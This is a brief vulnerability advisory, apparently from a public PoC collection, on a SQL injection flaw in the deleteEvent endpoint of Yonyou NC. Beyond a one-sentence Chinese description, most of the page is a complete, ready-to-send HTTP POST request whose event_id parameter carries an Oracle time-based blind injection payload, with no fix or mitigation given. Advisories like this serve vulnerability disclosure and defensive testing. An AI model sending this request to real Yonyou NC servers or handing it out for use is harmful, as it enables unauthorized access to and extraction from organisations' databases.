用友 NC /portal/pt/oacoSchedulerEvents/deleteEvent SQL 注入漏洞

2026-02-25 用友NC PoC Public

Description

用友NC /portal/pt/oacoSchedulerEvents/deleteEvent接口存在 SQL 注入漏洞。该接口未对用户输入的参数进行有效过滤和转义，攻击者可构造恶意 SQL 语句注入到数据库查询中。

PoC

POST /portal/pt/oacoSchedulerEvents/deleteEvent?pageId=login HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
Accept-Encoding: gzip
Connection: close

event_id=-1'AND 1=dbms_pipe.receive_message('RDS',4)--+#+&startDate=2025-06-27 12:12:12&event_ts=2025-06-27 12:12:12

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Yonyou NC /portal/pt/oacoSchedulerEvents/deleteEvent SQL injection vulnerability

References

Related Vulnerabilities